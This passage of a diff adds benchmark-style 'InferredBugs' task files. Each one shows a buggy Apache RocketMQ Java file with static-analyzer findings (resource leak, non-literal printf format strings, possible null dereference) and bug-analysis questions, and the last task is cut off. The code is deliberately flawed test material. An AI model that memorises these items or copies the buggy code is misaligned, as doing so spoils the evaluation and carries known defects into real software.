+
+            MixAll.properties2Object(ServerUtil.commandLine2Properties(commandLine), namesrvConfig);
+
+            if (null == namesrvConfig.getRocketmqHome()) {
+                System.out.printf("Please set the %s variable in your environment to match the location of the RocketMQ installation%n", MixAll.ROCKETMQ_HOME_ENV);
+                System.exit(-2);
+            }
+
+            LoggerContext lc = (LoggerContext) LoggerFactory.getILoggerFactory();
+            JoranConfigurator configurator = new JoranConfigurator();
+            configurator.setContext(lc);
+            lc.reset();
+            configurator.doConfigure(namesrvConfig.getRocketmqHome() + "/conf/logback_namesrv.xml");
+            final InternalLogger log = InternalLoggerFactory.getLogger(LoggerName.NAMESRV_LOGGER_NAME);
+
+            MixAll.printObjectProperties(log, namesrvConfig);
+            MixAll.printObjectProperties(log, nettyServerConfig);
+
+            final NamesrvController controller = new NamesrvController(namesrvConfig, nettyServerConfig);
+
+            // remember all configs to prevent discard
+            controller.getConfiguration().registerConfig(properties);
+
+            boolean initResult = controller.initialize();
+            if (!initResult) {
+                controller.shutdown();
+                System.exit(-3);
+            }
+
+            Runtime.getRuntime().addShutdownHook(new ShutdownHookThread(log, new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    controller.shutdown();
+                    return null;
+                }
+            }));
+
+            controller.start();
+
+            String tip = "The Name Server boot success. serializeType=" + RemotingCommand.getSerializeTypeConfigInThisServer();
+            log.info(tip);
+            System.out.printf("%s%n", tip);
+
+            return controller;
+        } catch (Throwable e) {
+            e.printStackTrace();
+            System.exit(-1);
+        }
+
+        return null;
+    }
+
+    public static Options buildCommandlineOptions(final Options options) {
+        Option opt = new Option("c", "configFile", true, "Name server config properties file");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt = new Option("p", "printConfigItem", false, "Print all config item");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        return options;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.BufferedInputStream` acquired by call to `new()` at line 68 is not released after line 130.
+**Note**: potential exception at line 70
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+NamesrvController NamesrvStartup.main0(java.lang.String[])
+
+### Procedure Id:
+org.apache.rocketmq.namesrv.NamesrvStartup.main0(java.lang.String[]):org.apache.rocketmq.namesrv.Nam.b471e9ea1d3a21bc935c218a68febe02
+
+### File:
+namesrv/src/main/java/org/apache/rocketmq/namesrv/NamesrvStartup.java
+
+### Key:
+NamesrvStartup.java|main0|RESOURCE_LEAK
+
+### Node Key:
+d54375129813b1c5d9f10eb00e12d6a9
+
+### Hash:
+294506d3fcce21211c2742ea788b7f16
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10817/instruction.md b/inferredbugs-10817/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b16df5145ea9172e0b5992fc14659f244eedcb2e
--- /dev/null
+++ b/inferredbugs-10817/instruction.md
@@ -0,0 +1,260 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rocketmq
+**Bug ID:** 23
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.rocketmq.tools.command.topic;
+
+import java.util.Set;
+import org.apache.commons.cli.CommandLine;
+import org.apache.commons.cli.Option;
+import org.apache.commons.cli.Options;
+import org.apache.rocketmq.common.TopicConfig;
+import org.apache.rocketmq.common.sysflag.TopicSysFlag;
+import org.apache.rocketmq.remoting.RPCHook;
+import org.apache.rocketmq.srvutil.ServerUtil;
+import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
+import org.apache.rocketmq.tools.command.CommandUtil;
+import org.apache.rocketmq.tools.command.SubCommand;
+import org.apache.rocketmq.tools.command.SubCommandException;
+
+public class UpdateTopicSubCommand implements SubCommand {
+
+    @Override
+    public String commandName() {
+        return "updateTopic";
+    }
+
+    @Override
+    public String commandDesc() {
+        return "Update or create topic";
+    }
+
+    @Override
+    public Options buildCommandlineOptions(Options options) {
+        Option opt = new Option("b", "brokerAddr", true, "create topic to which broker");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt = new Option("c", "clusterName", true, "create topic to which cluster");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt = new Option("t", "topic", true, "topic name");
+        opt.setRequired(true);
+        options.addOption(opt);
+
+        opt = new Option("r", "readQueueNums", true, "set read queue nums");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt = new Option("w", "writeQueueNums", true, "set write queue nums");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt = new Option("p", "perm", true, "set topic's permission(2|4|6), intro[2:W 4:R; 6:RW]");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt = new Option("o", "order", true, "set topic's order(true|false");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt = new Option("u", "unit", true, "is unit topic (true|false");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt = new Option("s", "hasUnitSub", true, "has unit sub (true|false");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        return options;
+    }
+
+    @Override
+    public void execute(final CommandLine commandLine, final Options options,
+        RPCHook rpcHook) throws SubCommandException {
+        DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt(rpcHook);
+        defaultMQAdminExt.setInstanceName(Long.toString(System.currentTimeMillis()));
+
+        try {
+            TopicConfig topicConfig = new TopicConfig();
+            topicConfig.setReadQueueNums(8);
+            topicConfig.setWriteQueueNums(8);
+            topicConfig.setTopicName(commandLine.getOptionValue('t').trim());
+
+            // readQueueNums
+            if (commandLine.hasOption('r')) {
+                topicConfig.setReadQueueNums(Integer.parseInt(commandLine.getOptionValue('r').trim()));
+            }
+
+            // writeQueueNums
+            if (commandLine.hasOption('w')) {
+                topicConfig.setWriteQueueNums(Integer.parseInt(commandLine.getOptionValue('w').trim()));
+            }
+
+            // perm
+            if (commandLine.hasOption('p')) {
+                topicConfig.setPerm(Integer.parseInt(commandLine.getOptionValue('p').trim()));
+            }
+
+            boolean isUnit = false;
+            if (commandLine.hasOption('u')) {
+                isUnit = Boolean.parseBoolean(commandLine.getOptionValue('u').trim());
+            }
+
+            boolean isCenterSync = false;
+            if (commandLine.hasOption('s')) {
+                isCenterSync = Boolean.parseBoolean(commandLine.getOptionValue('s').trim());
+            }
+
+            int topicCenterSync = TopicSysFlag.buildSysFlag(isUnit, isCenterSync);
+            topicConfig.setTopicSysFlag(topicCenterSync);
+
+            boolean isOrder = false;
+            if (commandLine.hasOption('o')) {
+                isOrder = Boolean.parseBoolean(commandLine.getOptionValue('o').trim());
+            }
+            topicConfig.setOrder(isOrder);
+
+            if (commandLine.hasOption('b')) {
+                String addr = commandLine.getOptionValue('b').trim();
+
+                defaultMQAdminExt.start();
+                defaultMQAdminExt.createAndUpdateTopicConfig(addr, topicConfig);
+
+                if (isOrder) {
+                    String brokerName = CommandUtil.fetchBrokerNameByAddr(defaultMQAdminExt, addr);
+                    String orderConf = brokerName + ":" + topicConfig.getWriteQueueNums();
+                    defaultMQAdminExt.createOrUpdateOrderConf(topicConfig.getTopicName(), orderConf, false);
+                    System.out.printf(String.format("set broker orderConf. isOrder=%s, orderConf=[%s]",
+                        isOrder, orderConf.toString()));
+                }
+                System.out.printf("create topic to %s success.%n", addr);
+                System.out.printf("%s", topicConfig);
+                return;
+
+            } else if (commandLine.hasOption('c')) {
+                String clusterName = commandLine.getOptionValue('c').trim();
+
+                defaultMQAdminExt.start();
+
+                Set<String> masterSet =
+                    CommandUtil.fetchMasterAddrByClusterName(defaultMQAdminExt, clusterName);
+                for (String addr : masterSet) {
+                    defaultMQAdminExt.createAndUpdateTopicConfig(addr, topicConfig);
+                    System.out.printf("create topic to %s success.%n", addr);
+                }
+
+                if (isOrder) {
+                    Set<String> brokerNameSet =
+                        CommandUtil.fetchBrokerNameByClusterName(defaultMQAdminExt, clusterName);
+                    StringBuilder orderConf = new StringBuilder();
+                    String splitor = "";
+                    for (String s : brokerNameSet) {
+                        orderConf.append(splitor).append(s).append(":")
+                            .append(topicConfig.getWriteQueueNums());
+                        splitor = ";";
+                    }
+                    defaultMQAdminExt.createOrUpdateOrderConf(topicConfig.getTopicName(),
+                        orderConf.toString(), true);
+                    System.out.printf("set cluster orderConf. isOrder=%s, orderConf=[%s]", isOrder, orderConf);
+                }
+
+                System.out.printf("%s", topicConfig);
+                return;
+            }
+
+            ServerUtil.printCommandLineHelp("mqadmin " + this.commandName(), options);
+        } catch (Exception e) {
+            throw new SubCommandException(this.getClass().getSimpleName() + " command failed", e);
+        } finally {
+            defaultMQAdminExt.shutdown();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+CHECKERS_PRINTF_ARGS
+
+### Qualifier:
+Format string must be string literal.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UpdateTopicSubCommand.execute(CommandLine,Options,RPCHook)
+
+### Procedure Id:
+org.apache.rocketmq.tools.command.topic.UpdateTopicSubCommand.execute(org.apache.commons.cli.Command.69e90be07d7f5efb9fa3d8ead26e8219
+
+### File:
+tools/src/main/java/org/apache/rocketmq/tools/command/topic/UpdateTopicSubCommand.java
+
+### Key:
+UpdateTopicSubCommand.java|execute|CHECKERS_PRINTF_ARGS
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+5bbcff648fdf0873f7dd16da7cbc936b
+
+### Bug Type Hum:
+Checkers Printf Args
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10818/instruction.md b/inferredbugs-10818/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cf7d054a0755723bcd00a3a675db12877c151dea
--- /dev/null
+++ b/inferredbugs-10818/instruction.md
@@ -0,0 +1,189 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rocketmq
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+
+package org.apache.rocketmq.test.client.consumer.tag;
+
+import org.apache.log4j.Logger;
+import org.apache.rocketmq.test.base.BaseConf;
+import org.apache.rocketmq.test.client.rmq.RMQNormalConsumer;
+import org.apache.rocketmq.test.client.rmq.RMQNormalProducer;
+import org.apache.rocketmq.test.listener.rmq.concurrent.RMQNormalListner;
+import org.apache.rocketmq.test.util.RandomUtils;
+import org.apache.rocketmq.test.util.TestUtils;
+import org.apache.rocketmq.test.util.VerifyUtils;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import static com.google.common.truth.Truth.assertThat;
+
+public class TagMessageWithSameGroupConsumerIT extends BaseConf {
+    private static Logger logger = Logger.getLogger(TagMessageWith1ConsumerIT.class);
+    private RMQNormalProducer producer = null;
+    private String topic = null;
+
+    @Before
+    public void setUp() {
+        topic = initTopic();
+        logger.info(String.format("use topic: %s !", topic));
+        producer = getProducer(nsAddr, topic);
+    }
+
+    @After
+    public void tearDown() {
+        super.shutDown();
+    }
+
+    @Test
+    public void testTwoConsumerWithSameGroup() {
+        String tag = "jueyin";
+        int msgSize = 20;
+        String originMsgDCName = RandomUtils.getStringByUUID();
+        String msgBodyDCName = RandomUtils.getStringByUUID();
+        RMQNormalConsumer consumer1 = getConsumer(nsAddr, topic, tag,
+            new RMQNormalListner(originMsgDCName, msgBodyDCName));
+        RMQNormalConsumer consumer2 = getConsumer(nsAddr, consumer1.getConsumerGroup(), tag,
+            new RMQNormalListner(originMsgDCName, msgBodyDCName));
+        producer.send(tag, msgSize);
+        Assert.assertEquals("Not all are sent", msgSize, producer.getAllUndupMsgBody().size());
+        consumer1.getListner().waitForMessageConsume(producer.getAllMsgBody(), consumeTime);
+
+        assertThat(VerifyUtils.getFilterdMessage(producer.getAllMsgBody(),
+            consumer1.getListner().getAllMsgBody()))
+            .containsExactlyElementsIn(producer.getAllMsgBody());
+    }
+
+    @Test
+    public void testConsumerStartWithInterval() {
+        String tag = "jueyin";
+        int msgSize = 100;
+        String originMsgDCName = RandomUtils.getStringByUUID();
+        String msgBodyDCName = RandomUtils.getStringByUUID();
+
+        RMQNormalConsumer consumer1 = getConsumer(nsAddr, topic, tag,
+            new RMQNormalListner(originMsgDCName, msgBodyDCName));
+        producer.send(tag, msgSize, 100);
+        TestUtils.waitForMoment(5);
+        RMQNormalConsumer consumer2 = getConsumer(nsAddr, consumer1.getConsumerGroup(), tag,
+            new RMQNormalListner(originMsgDCName, msgBodyDCName));
+        TestUtils.waitForMoment(5);
+
+        consumer1.getListner().waitForMessageConsume(producer.getAllMsgBody(), consumeTime);
+        assertThat(VerifyUtils.getFilterdMessage(producer.getAllMsgBody(),
+            consumer1.getListner().getAllMsgBody()))
+            .containsExactlyElementsIn(producer.getAllMsgBody());
+    }
+
+    @Test
+    public void testConsumerStartTwoAndCrashOnsAfterWhile() {
+        String tag = "jueyin";
+        int msgSize = 100;
+        String originMsgDCName = RandomUtils.getStringByUUID();
+        String msgBodyDCName = RandomUtils.getStringByUUID();
+
+        RMQNormalConsumer consumer1 = getConsumer(nsAddr, topic, tag,
+            new RMQNormalListner(originMsgDCName, msgBodyDCName));
+        RMQNormalConsumer consumer2 = getConsumer(nsAddr, consumer1.getConsumerGroup(), tag,
+            new RMQNormalListner(originMsgDCName, msgBodyDCName));
+
+        producer.send(tag, msgSize, 100);
+        TestUtils.waitForMoment(5);
+        consumer2.shutdown();
+        mqClients.remove(1);
+        TestUtils.waitForMoment(5);
+
+        consumer1.getListner().waitForMessageConsume(producer.getAllMsgBody(), consumeTime);
+        assertThat(VerifyUtils.getFilterdMessage(producer.getAllMsgBody(),
+            consumer1.getListner().getAllMsgBody()))
+            .containsExactlyElementsIn(producer.getAllMsgBody());
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `consumer1.getListner()` could be null and is dereferenced at line 64.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TagMessageWithSameGroupConsumerIT.testTwoConsumerWithSameGroup()
+
+### Procedure Id:
+org.apache.rocketmq.test.client.consumer.tag.TagMessageWithSameGroupConsumerIT.testTwoConsumerWithSa.96a6dc85ee2947f6abb307fc79e3c691
+
+### File:
+test/src/test/java/org/apache/rocketmq/test/client/consumer/tag/TagMessageWithSameGroupConsumerIT.java
+
+### Key:
+TagMessageWithSameGroupConsumerIT.java|testTwoConsumerWithSameGroup|NULL_DEREFERENCE
+
+### Node Key:
+9223baa361ae485bac57f6892ab2bf6b
+
+### Hash:
+e0525be80f4cd48951be66015b19859c
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10819/instruction.md b/inferredbugs-10819/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..61868f8abff56e00c5a05e5401a2df05c0179910
--- /dev/null
+++ b/inferredbugs-10819/instruction.md
@@ -0,0 +1,366 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rocketmq
+**Bug ID:** 15
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.rocketmq.tools.command.message;
+
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.List;
+import org.apache.commons.cli.CommandLine;
+import org.apache.commons.cli.Option;
+import org.apache.commons.cli.Options;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.rocketmq.client.exception.MQBrokerException;
+import org.apache.rocketmq.client.exception.MQClientException;
+import org.apache.rocketmq.client.producer.DefaultMQProducer;
+import org.apache.rocketmq.client.producer.SendResult;
+import org.apache.rocketmq.common.UtilAll;
+import org.apache.rocketmq.common.message.MessageClientExt;
+import org.apache.rocketmq.common.message.MessageExt;
+import org.apache.rocketmq.common.protocol.body.ConsumeMessageDirectlyResult;
+import org.apache.rocketmq.remoting.RPCHook;
+import org.apache.rocketmq.remoting.common.RemotingHelper;
+import org.apache.rocketmq.remoting.exception.RemotingException;
+import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
+import org.apache.rocketmq.tools.admin.api.MessageTrack;
+import org.apache.rocketmq.tools.command.SubCommand;
+import org.apache.rocketmq.tools.command.SubCommandException;
+
+public class QueryMsgByIdSubCommand implements SubCommand {
+    public static void queryById(final DefaultMQAdminExt admin, final String msgId) throws MQClientException,
+        RemotingException, MQBrokerException, InterruptedException, IOException {
+        MessageExt msg = admin.viewMessage(msgId);
+
+        printMsg(admin, msg);
+    }
+
+    public static void printMsg(final DefaultMQAdminExt admin, final MessageExt msg) throws IOException {
+        if (msg == null) {
+            System.out.printf("%nMessage not found!");
+            return;
+        }
+
+        String bodyTmpFilePath = createBodyFile(msg);
+        String msgId = msg.getMsgId();
+        if (msg instanceof MessageClientExt) {
+            msgId = ((MessageClientExt) msg).getOffsetMsgId();
+        }
+
+        System.out.printf("%-20s %s%n",
+            "OffsetID:",
+            msgId
+        );
+
+        System.out.printf("%-20s %s%n",
+            "OffsetID:",
+            msgId
+        );
+
+        System.out.printf("%-20s %s%n",
+            "Topic:",
+            msg.getTopic()
+        );
+
+        System.out.printf("%-20s %s%n",
+            "Tags:",
+            "[" + msg.getTags() + "]"
+        );
+
+        System.out.printf("%-20s %s%n",
+            "Keys:",
+            "[" + msg.getKeys() + "]"
+        );
+
+        System.out.printf("%-20s %d%n",
+            "Queue ID:",
+            msg.getQueueId()
+        );
+
+        System.out.printf("%-20s %d%n",
+            "Queue Offset:",
+            msg.getQueueOffset()
+        );
+
+        System.out.printf("%-20s %d%n",
+            "CommitLog Offset:",
+            msg.getCommitLogOffset()
+        );
+
+        System.out.printf("%-20s %d%n",
+            "Reconsume Times:",
+            msg.getReconsumeTimes()
+        );
+
+        System.out.printf("%-20s %s%n",
+            "Born Timestamp:",
+            UtilAll.timeMillisToHumanString2(msg.getBornTimestamp())
+        );
+
+        System.out.printf("%-20s %s%n",
+            "Store Timestamp:",
+            UtilAll.timeMillisToHumanString2(msg.getStoreTimestamp())
+        );
+
+        System.out.printf("%-20s %s%n",
+            "Born Host:",
+            RemotingHelper.parseSocketAddressAddr(msg.getBornHost())
+        );
+
+        System.out.printf("%-20s %s%n",
+            "Store Host:",
+            RemotingHelper.parseSocketAddressAddr(msg.getStoreHost())
+        );
+
+        System.out.printf("%-20s %d%n",
+            "System Flag:",
+            msg.getSysFlag()
+        );
+
+        System.out.printf("%-20s %s%n",
+            "Properties:",
+            msg.getProperties() != null ? msg.getProperties().toString() : ""
+        );
+
+        System.out.printf("%-20s %s%n",
+            "Message Body Path:",
+            bodyTmpFilePath
+        );
+
+        try {
+            List<MessageTrack> mtdList = admin.messageTrackDetail(msg);
+            if (mtdList.isEmpty()) {
+                System.out.printf("%n%nWARN: No Consumer");
+            } else {
+                System.out.printf("%n%n");
+                for (MessageTrack mt : mtdList) {
+                    System.out.printf("%s", mt);
+                }
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    private static String createBodyFile(MessageExt msg) throws IOException {
+        DataOutputStream dos = null;
+        try {
+            String bodyTmpFilePath = "/tmp/rocketmq/msgbodys";
+            File file = new File(bodyTmpFilePath);
+            if (!file.exists()) {
+                file.mkdirs();
+            }
+            bodyTmpFilePath = bodyTmpFilePath + "/" + msg.getMsgId();
+            dos = new DataOutputStream(new FileOutputStream(bodyTmpFilePath));
+            dos.write(msg.getBody());
+            return bodyTmpFilePath;
+        } finally {
+            if (dos != null)
+                dos.close();
+        }
+    }
+
+    @Override
+    public String commandName() {
+        return "queryMsgById";
+    }
+
+    @Override
+    public String commandDesc() {
+        return "Query Message by Id";
+    }
+
+    @Override
+    public Options buildCommandlineOptions(Options options) {
+        Option opt = new Option("i", "msgId", true, "Message Id");
+        opt.setRequired(true);
+        options.addOption(opt);
+
+        opt = new Option("g", "consumerGroup", true, "consumer group name");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt = new Option("d", "clientId", true, "The consumer's client id");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt = new Option("s", "sendMessage", true, "resend message");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        opt = new Option("u", "unitName", true, "unit name");
+        opt.setRequired(false);
+        options.addOption(opt);
+
+        return options;
+    }
+
+    @Override
+    public void execute(CommandLine commandLine, Options options, RPCHook rpcHook) throws SubCommandException {
+        DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt(rpcHook);
+        defaultMQAdminExt.setInstanceName(Long.toString(System.currentTimeMillis()));
+        DefaultMQProducer defaultMQProducer = new DefaultMQProducer("ReSendMsgById");
+        defaultMQProducer.setInstanceName(Long.toString(System.currentTimeMillis()));
+
+        try {
+            defaultMQAdminExt.start();
+            if (commandLine.hasOption('s')) {
+                if (commandLine.hasOption('u')) {
+                    String unitName = commandLine.getOptionValue('u').trim();
+                    defaultMQProducer.setUnitName(unitName);
+                }
+                defaultMQProducer.start();
+            }
+
+            final String msgIds = commandLine.getOptionValue('i').trim();
+            final String[] msgIdArr = StringUtils.split(msgIds, ",");
+
+            if (commandLine.hasOption('g') && commandLine.hasOption('d')) {
+                final String consumerGroup = commandLine.getOptionValue('g').trim();
+                final String clientId = commandLine.getOptionValue('d').trim();
+                for (String msgId : msgIdArr) {
+                    if (StringUtils.isNotBlank(msgId)) {
+                        pushMsg(defaultMQAdminExt, consumerGroup, clientId, msgId.trim());
+                    }
+                }
+            } else if (commandLine.hasOption('s')) {
+                boolean resend = Boolean.parseBoolean(commandLine.getOptionValue('s', "false").trim());
+                if (resend) {
+                    for (String msgId : msgIdArr) {
+                        if (StringUtils.isNotBlank(msgId)) {
+                            sendMsg(defaultMQAdminExt, defaultMQProducer, msgId.trim());
+                        }
+                    }
+                }
+            } else {
+                for (String msgId : msgIdArr) {
+                    if (StringUtils.isNotBlank(msgId)) {
+                        queryById(defaultMQAdminExt, msgId.trim());
+                    }
+                }
+
+            }
+        } catch (Exception e) {
+            throw new SubCommandException(this.getClass().getSimpleName() + " command failed", e);
+        } finally {
+            defaultMQProducer.shutdown();
+            defaultMQAdminExt.shutdown();
+        }
+    }
+
+    private void pushMsg(final DefaultMQAdminExt defaultMQAdminExt, final String consumerGroup, final String clientId,
+        final String msgId) {
+        try {
+            ConsumeMessageDirectlyResult result =
+                defaultMQAdminExt.consumeMessageDirectly(consumerGroup, clientId, msgId);
+            System.out.printf("%s", result);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void sendMsg(final DefaultMQAdminExt defaultMQAdminExt, final DefaultMQProducer defaultMQProducer,
+        final String msgId) throws RemotingException, MQBrokerException, InterruptedException, MQClientException {
+        try {
+            MessageExt msg = defaultMQAdminExt.viewMessage(msgId);
+            if (msg != null) {
+                // resend msg by id
+                System.out.printf("prepare resend msg. originalMsgId=" + msgId);
+                SendResult result = defaultMQProducer.send(msg);
+                System.out.printf("%s", result);
+            } else {
+                System.out.printf("no message. msgId=" + msgId);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+CHECKERS_PRINTF_ARGS
+
+### Qualifier:
+Format string must be string literal.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void QueryMsgByIdSubCommand.sendMsg(DefaultMQAdminExt,DefaultMQProducer,String)
+
+### Procedure Id:
+org.apache.rocketmq.tools.command.message.QueryMsgByIdSubCommand.sendMsg(org.apache.rocketmq.tools.a.b5703e1a987307c84c260c380225ee2c
+
+### File:
+tools/src/main/java/org/apache/rocketmq/tools/command/message/QueryMsgByIdSubCommand.java
+
+### Key:
+QueryMsgByIdSubCommand.java|sendMsg|CHECKERS_PRINTF_ARGS
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+020e26ef77095b5bddba712098e8e21d
+
+### Bug Type Hum:
+Checkers Printf Args
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10820/instruction.md b/inferredbugs-10820/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..60e4f6e0372436829211b83fe8eacf5c0182463b
--- /dev/null
+++ b/inferredbugs-10820/instruction.md
@@ -0,0 +1,189 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rocketmq
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+
+package org.apache.rocketmq.test.client.consumer.tag;
+
+import org.apache.log4j.Logger;
+import org.apache.rocketmq.test.base.BaseConf;
+import org.apache.rocketmq.test.client.rmq.RMQNormalConsumer;
+import org.apache.rocketmq.test.client.rmq.RMQNormalProducer;
+import org.apache.rocketmq.test.listener.rmq.concurrent.RMQNormalListner;
+import org.apache.rocketmq.test.util.RandomUtils;
